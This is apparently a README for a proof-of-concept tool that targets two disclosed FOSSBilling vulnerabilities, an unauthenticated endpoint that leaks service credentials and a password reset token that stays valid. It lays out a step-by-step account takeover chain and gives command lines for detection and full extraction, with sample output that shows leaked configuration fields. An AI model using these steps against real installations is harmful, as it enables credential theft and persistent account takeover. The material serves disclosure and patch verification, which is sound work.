FOSKiller

 ███████╗ ██████╗ ███████╗██╗  ██╗██╗██╗     ██╗     ███████╗██████╗
 ██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║     ██║     ██╔════╝██╔══██╗
 █████╗  ██║   ██║███████╗█████╔╝ ██║██║     ██║     █████╗  ██████╔╝
 ██╔══╝  ██║   ██║╚════██║██╔═██╗ ██║██║     ██║     ██╔══╝  ██╔══██╗
 ██║     ╚██████╔╝███████║██║  ██╗██║███████╗███████╗███████╗██║  ██║
 ╚═╝      ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝  ╚═╝

Table of Contents

• Introduction
• Vulnerabilities
  • CVE-2026-53647 — Unauthenticated API Key Config Disclosure
  • CVE-2026-53646 — Password Reset Token Reuse
• Requirements
• Installation
• Usage
  • Flags
  • Modes
  • Examples
• Sample Output
• Remediation
• Responsible Disclosure
• Legal Disclaimer
• Credits

Introduction

FOSKiller is a proof-of-concept tool demonstrating two security vulnerabilities in FOSSBilling — an open-source billing and client management platform. Both vulnerabilities were responsibly disclosed through the GitHub Security Advisory program and are fully patched in FOSSBilling 0.7.3+.

The tool is intended for:

• Security researchers verifying their own FOSSBilling installations
• Penetration testers conducting authorized engagements
• Defenders confirming patch application

Vulnerabilities

CVE-2026-53647 — Unauthenticated API Key Config Disclosure

The guest endpoint /api/guest/serviceapikey/get_info returns the full service configuration — including custom_* fields, API credentials, hostnames, and passwords — without requiring any authentication. An attacker who knows or enumerates a valid API key can retrieve complete backend service configuration from a public endpoint.

Impact: Exposure of service credentials, internal hostnames, API secrets.

CVE-2026-53646 — Password Reset Token Reuse

When a client triggers two consecutive password resets for the same account, the application issues a new token but does not invalidate the previous one. An attacker who previously captured the first token can use it to set a new password even after the legitimate user completes their own reset flow.

Attack chain:

1. Attacker triggers POST /api/guest/client/reset_password → captures token T1
2. Victim triggers their own reset → app issues T2, T1 remains valid
3. Attacker calls POST /api/guest/client/update_password?hash=T1 with chosen password
4. Attacker has persistent access regardless of victim's reset completion

Impact: Persistent account takeover of any client whose reset email is interceptable.

Requirements

• Python 3.8+
• requests
• colorama

If dependencies are missing, the script detects this on startup and offers to install them automatically.

Installation

Clone and install dependencies:

git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt

Or run without pre-installing — the script will prompt to install missing packages on first run.

Usage

python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
                          [--check-only | --exploit]
                          [--force] [--output FILE]
                          [--timeout SEC] [--proxy URL]

Flags

--check-only and --exploit are mutually exclusive.

Modes

Examples

Detection only — verify both CVEs without extracting data:

python fossbilling_poc.py \
  --target https://billing.example.com \
  --key myservicekey \
  --email [email protected] \
  --check-only

Full extraction and attack chain documentation:

python fossbilling_poc.py \
  --target https://billing.example.com \
  --key myservicekey \
  --email [email protected] \
  --exploit

Save results to JSON and route through Burp Suite:

python fossbilling_poc.py \
  --target https://billing.example.com \
  --key myservicekey \
  --email [email protected] \
  --output results.json \
  --proxy http://127.0.0.1:8080

Test an unknown or already-patched version:

python fossbilling_poc.py \
  --target https://billing.example.com \
  --key myservicekey \
  --force

Sample Output

[*] Probing https://billing.example.com …
[+] Detected version: 0.7.1
[+] CVE-2026-53647 affected range (>=0.5.3 <=0.7.2): YES
[+] CVE-2026-53646 affected range (>=0.5.6 <=0.7.2): YES

── CVE-2026-53647 │ Unauthenticated API Key Config Disclosure ─────────
[*] Target  : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] Mode    : Full extraction
[*] HTTP    : 200
[+] VULNERABLE — endpoint returned 4 sensitive field(s) without authentication

  Field                          Value
  ──────────────────────────────────────────────────────────────────────
  custom_hostname                db.internal.example.com
  custom_username                fossbilling_db
  custom_password                [REDACTED IN THIS EXAMPLE]
  custom_api_secret              [REDACTED IN THIS EXAMPLE]